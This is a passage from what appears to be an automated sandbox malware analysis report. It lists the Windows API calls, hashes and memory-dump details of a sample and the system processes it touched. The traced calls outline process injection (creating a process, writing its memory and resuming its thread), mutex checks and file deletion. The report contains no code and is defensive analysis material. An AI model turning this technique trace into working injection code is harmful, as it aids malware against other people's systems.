lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 02303F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02303F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02303F51
Sleep.KERNEL32(000003E8,00000000,?,02303F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02303F6F
Sleep.KERNEL32(000007D0), ref: 02303F7F
Sleep.KERNEL32(00000BB8), ref: 02303F8F

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 901d359099c71e630482be16dab5d5e572698b98821eb063051bc619bddaf5a8
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: 8CF01C705543509AFB603BB08CECA4A3AB9AF00705F0400D2AA89BE4D6CF7491508E75

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5092, Parent PID: 7396COMMON

Executed Functions

Function 00AB0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AB092A
RtlExitUserThread.NTDLL ref: 00AB0933

Memory Dump Source

Source File: 0000000F.00000002.2887276174.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_ab0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: a746e57cf6378d43ca32d6e26f47fe512de4d0868098c976c8f9b264cff3b5ab
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 0B31C8724102046FEB017FB09E46EFB3BACEF11310F440165BD85DA0A7EA744A658AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: smartscreen.exePID: 5584, Parent PID: 7396COMMON

Executed Functions

Function 00291D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00291D99
VirtualAlloc.KERNELBASE ref: 00291DD2
VirtualProtect.KERNELBASE ref: 00291E56

Memory Dump Source

Source File: 00000010.00000002.2884416308.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_290000_smartscreen.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 5cfeb1bcbae8c558e98dcdee69f702b75d149b9acfc2b5526b48693fa100539d
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: F421F730B34C1E0BEF58A67D9859764F6D2E79C320F980295E90DD36E8ED58CC9187C6

Uniqueness

Uniqueness Score: -1.00%

Function 00290811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0029092A
RtlExitUserThread.NTDLL ref: 00290933

Memory Dump Source

Source File: 00000010.00000002.2884416308.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_290000_smartscreen.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: c058b29fad30e67ee3f8ad258c7953d0322cd43e49dbed41448cb6062d2459d6
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E872520209BFEF017F709D86ABA77ACFF11300F400165BD85DA0A6DA744D74CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: TextInputHost.exePID: 3788, Parent PID: 7396COMMON

Executed Functions

Function 00580811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0058092A
RtlExitUserThread.NTDLL ref: 00580933

Memory Dump Source

Source File: 00000013.00000002.2879902182.0000000000580000.00000040.00000001.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_580000_TextInputHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: ad2bcb2392a4eecc8ec5ac587f61150cc7b45fc580965541663a43ffb8525291
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 8131C3720006056FEF417B709D4AABA7FACFF51310F001165BD85EA0E2EA7449A98BB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 7924, Parent PID: 2580COMMON

Executed Functions

Function 022A0005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 022A098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022A09A5
Part of subcall function 022A098B: GetStartupInfoA.KERNEL32(00000000), ref: 022A09BD

ExitProcess.KERNEL32(00000000), ref: 022A001D

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: a68358f380a96d612f0cb8167b0cfc63c9d4dd549bf7c762d647430277cdcda5
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 9C72006142E3C14FD7279BE44A74BA57F78BF03308B0910CBC5819E8BBD6649B09C76A

Uniqueness

Uniqueness Score: -1.00%

Function 021F0000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 021F0318
VirtualProtect.KERNELBASE ref: 021F0680
VirtualProtect.KERNELBASE ref: 021F06FD

Strings

@, xrefs: 021F001F
, xrefs: 021F000F
y7, xrefs: 021F0234
C[, xrefs: 021F0221
R, xrefs: 021F0039
v, xrefs: 021F0141
wJ, xrefs: 021F012E
d:, xrefs: 021F00A0
1;, xrefs: 021F0286

Memory Dump Source

Source File: 00000014.00000002.1929115712.00000000021F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_21f0000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 28e5be904831581971660279813b2c29e89ec9c6c7ba3c7a11617b115dd6d7d6
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 9F3277B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 022A3409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(022A3405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 022A3409

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: 175a78ab8dedf140103e6ebc39a8db2d7994838a56987a0e1431682536ce1ac2
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 75F0FE75500154DBEF02EF24C485A9A77F8AF44344F4504C8AA4DBF206CA309555CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 022A2951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(022A2949,00000008,?,00000000,022A2835,00000000), ref: 022A2956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 022A2993
lstrcat.KERNEL32(00000000,022A29C1), ref: 022A29D0
lstrcat.KERNEL32(00000000,022A29F8), ref: 022A2A07
lstrcat.KERNEL32(00000000,022A2A2F), ref: 022A2A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 022A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 022A2B66

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 8cf38ce699ad67073cb319f5fb9e307f4ad5268875acf3c64b95e5b257230b88
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 43518471414314DFDB22AFB08D58FEB77BDFF40704F4405A5AE45EA459EA349680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 022A09FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,022A09F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 022A0A04
GetThreadContext.KERNEL32(?,00000000), ref: 022A0A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 022A0A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,022A5834,00000000,00000000,00000002), ref: 022A0A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 022A0ACA
ResumeThread.KERNEL32(?), ref: 022A0ADA
Sleep.KERNEL32(000003E8), ref: 022A0AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022A0B01

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 48795f94e43628ffb5d551bb58cc6523b4bd5c9d9d5eb839d6cfc1ea5a8520f5
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 403184316502159FEF229F50CC94FA977B8FF04748F0805D4AA49FE0E9DBB09A94CE64

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 022A29CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022A29C1), ref: 022A29D0

Part of subcall function 022A2A01: lstrcat.KERNEL32(00000000,022A29F8), ref: 022A2A07
Part of subcall function 022A2A01: lstrcat.KERNEL32(00000000,022A2A2F), ref: 022A2A3E
Part of subcall function 022A2A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AB8
Part of subcall function 022A2A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 022A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 022A2B66

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: 3291caf38847fe9322c1b3f46360ee6ebac4fdef4d46ed08a74f455664abee49
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: B3415471414314DFDB22AFB08D58FAB73BDFF40704F404A95AE86EA459DA349684CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 022A2A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022A29F8), ref: 022A2A07

Part of subcall function 022A2A38: lstrcat.KERNEL32(00000000,022A2A2F), ref: 022A2A3E
Part of subcall function 022A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AB8
Part of subcall function 022A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AFC
Part of subcall function 022A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 022A2B52
Part of subcall function 022A2A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 022A2B66

Memory Dump Source

